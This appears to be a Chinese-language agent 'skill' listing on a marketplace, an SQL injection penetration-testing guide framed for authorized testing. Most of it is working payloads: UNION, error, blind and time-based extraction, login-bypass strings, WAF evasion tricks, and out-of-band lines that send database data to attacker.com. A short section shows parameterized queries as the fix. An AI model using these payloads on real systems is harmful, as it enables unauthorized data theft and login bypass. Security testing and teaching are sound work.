brandonwise-sql-injection-testing

TotalClaw 作者 totalclaw

面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。

安装 / 下载方式

TotalClaw CLI推荐
totalclaw install totalclaw:totalclaw~brandonwise-sql-injection-testing
cURL直接下载,无需登录
curl -fsSL https://skills.taituai.com/api/skills/totalclaw%3Atotalclaw~brandonwise-sql-injection-testing/file -o brandonwise-sql-injection-testing.md
## 概述(中文)

面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。

## 技能正文

# SQL 注入测试

面向 Web 应用的 SQL 注入漏洞综合评估技术,涵盖检测、利用与防御验证。

## 描述

适用场景:
- 测试 SQL 注入漏洞
- 执行已授权的渗透测试
- 验证输入净化机制
- 为安全测试绕过身份验证
- 提取数据库信息(已授权)
- 学习 SQL 注入防御

不适用场景:
- 无书面测试授权
- 测试含真实用户数据的生产系统
- 恶意意图(请勿作恶)

⚠️ **法律要求**:使用前须获得书面渗透测试授权。

---

## 检测阶段

### 注入点识别

常见可注入参数:
```
URL 参数:    ?id=1, ?user=admin, ?category=books
表单字段:   username, password, search, comments
Cookie:       session_id, user_preference
HTTP 头:  User-Agent, Referer, X-Forwarded-For
```

### 基础漏洞测试

```sql
-- 单引号测试
'

-- 双引号测试
"

-- 注释序列
--
#
/**/

-- 分号用于查询堆叠
;
```

**注意观察:**
- 数据库错误消息
- HTTP 500 错误
- 响应内容/长度变化
- 意外行为变化

### 布尔逻辑测试

```sql
-- 真条件(应返回数据)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 假条件(应无数据/报错)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
```

比较真假条件的响应以确认注入。

---

## 利用技术

### 基于 UNION 的提取

```sql
-- 步骤 1:确定列数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 继续直到报错

-- 步骤 2:找可显示列
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- 步骤 3:提取数据
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
```

### 基于错误的提取

```sql
-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--
```

### 盲注布尔型

```sql
-- 字符提取
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件响应
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
```

### 基于时间的盲注

```sql
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--
```

### 带外(OOB)

```sql
-- MSSQL DNS 渗出
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
```

---

## 身份验证绕过

```sql
-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- 查询变换示例
-- 原始:SELECT * FROM users WHERE username='input' AND password='input'
-- 注入(username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码检查被绕过!
```

---

## 过滤器绕过技术

### 字符编码

```sql
-- URL 编码
%27 (单引号)
%22 (双引号)
%23 (#)

-- 双重 URL 编码
%2527 (单引号)

-- 十六进制字符串 (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'
```

### 空白替代

```sql
-- 注释替代
SELECT/**/username/**/FROM/**/users

-- 制表符
SELECT%09username%09FROM%09users

-- 换行
SELECT%0Ausername%0AFROM%0Ausers
```

### 关键词规避

```sql
-- 大小写变化
SeLeCt, sElEcT, SELECT

-- 内联注释
SEL/*bypass*/ECT
UN/*bypass*/ION

-- 双重写入(若过滤器只移除一次)
SELSELECTECT → SELECT
UNUNIONION → UNION
```

---

## 数据库指纹识别

| 数据库 | 版本查询 |
|----------|---------------|
| MySQL | `SELECT @@version` 或 `SELECT version()` |
| MSSQL | `SELECT @@version` |
| PostgreSQL | `SELECT version()` |
| Oracle | `SELECT banner FROM v$version` |
| SQLite | `SELECT sqlite_version()` |

---

## 信息模式查询

```sql
-- MySQL/MSSQL:列出表
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- 列出列
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle 等价
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```

---

## 快速参考

| 用途 | 载荷 |
|---------|---------|
| 基础测试 | `'` 或 `"` |
| 布尔真 | `OR 1=1--` |
| 布尔假 | `AND 1=2--` |
| 注释 (MySQL) | `#` 或 `-- ` |
| 注释 (MSSQL) | `--` |
| UNION 探测 | `UNION SELECT NULL--` |
| 时间延迟 | `AND SLEEP(5)--` |
| 认证绕过 | `' OR '1'='1` |

---

## 检测测试序列

```
1. 插入 ' → 检查错误
2. 插入 " → 检查错误
3. 尝试:OR 1=1-- → 检查行为变化
4. 尝试:AND 1=2-- → 检查行为变化
5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查延迟
```

---

## 预防(代码审查关注点)

### ❌ 脆弱

```javascript
const query = `SELECT * FROM users WHERE id = '${userId}'`;
```

### ✅ 安全

```javascript
// 参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });
```

---

## 工具

- **SQLMap**:自动化 SQL 注入
- **Burp Suite**:请求操控
- **OWASP ZAP**:Web 应用扫描器
- **Havij**:SQL 注入工具

---

## 故障排除

| 问题 | 解决方案 |
|---------|----------|
| 无错误消息 | 使用盲注(布尔/时间型) |
| UNION 失败 | 用 ORDER BY 检查列数 |
| WAF 拦截 | 使用编码/规避技术 |
| 载荷未执行 | 验证对应数据库类型的注释语法 |
| 时间型不一致 | 使用更长延迟(10 秒以上) |

---

## 道德准则

- 未经明确授权,绝不执行破坏性查询(DROP、DELETE)
- 数据提取限于概念验证数量
- 检测到生产数据时立即停止
- 通过约定渠道报告严重漏洞
- 记录所有活动以供审计